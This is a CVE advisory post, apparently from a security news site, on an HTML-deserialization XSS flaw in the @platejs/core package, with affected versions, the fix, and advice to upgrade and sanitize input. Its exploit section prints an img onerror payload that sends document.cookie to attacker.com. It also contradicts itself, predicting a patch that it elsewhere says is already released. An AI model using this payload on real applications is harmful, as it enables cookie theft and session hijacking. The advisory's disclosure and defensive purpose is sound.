Listen to this Post
The vulnerability exists in the @platejs/core package, specifically within its HTML deserialization APIs. When an HTML string is passed to these APIs for conversion into editor nodes, the parsing process occurs within the context of the active document. This means that certain HTML attributes, such as event handlers (e.g., onerror, onload) or other browser-triggering attributes, can be evaluated and executed by the browser during the parsing phase itself. This happens before any sanitization or conversion to Plate’s internal node structure. Applications that deserialize HTML from untrusted or cross-user sources are particularly at risk. An attacker who can control the HTML that is later deserialized in another user’s browser may be able to execute arbitrary script in that application’s origin. This can lead to session hijacking, data theft, or other malicious actions. The core issue is that the parsing is not inert; it interacts with the live DOM, allowing browser behaviors to trigger. The vulnerability was published on September 4, 2026, and reviewed by GitHub. It affects versions prior to 53.3.11 and the beta versions 54.0.0-beta.0 and 54.0.0-beta.1. The fix is available in version 53.3.11. Users of the discontinued beta builds should migrate to the stable line. It is also recommended to sanitize untrusted HTML before rendering, as inert parsing alone is not sufficient.
DailyCVE Form:
Platform: @platejs/core
Version: < 53.3.11, 54.0.0-beta.0-beta.1
Vulnerability: HTML Deserialization XSS
Severity: Moderate
date: Sep 4 2026
Prediction: Patch expected soon
What Undercode Say:
Install affected version npm install @platejs/[email protected] Install patched version npm install @platejs/[email protected]
// Vulnerable usage
import { deserializeHtml } from '@platejs/core';
const maliciousHtml = '<img src=x onerror=alert(1)>';
deserializeHtml(maliciousHtml); // triggers XSS
// Safe usage after patch
import { deserializeHtml } from '@platejs/core';
const sanitizedHtml = sanitize(maliciousHtml); // use a sanitizer
deserializeHtml(sanitizedHtml);
How Exploit: (Educational Purposes!)
<!-- Malicious HTML string -->
<img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)">
When this HTML is passed to deserializeHtml, the `onerror` attribute executes in the context of the application’s origin, allowing the attacker to steal cookies or perform other actions.
Protection: from this CVE
- Upgrade to @platejs/core 53.3.11 or later.
- Sanitize all untrusted HTML before deserialization.
- Avoid using beta versions; use the stable fixed line.
Impact:
An attacker can execute arbitrary JavaScript in the victim’s browser within the application’s origin, leading to data theft, session hijacking, or other malicious activities.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
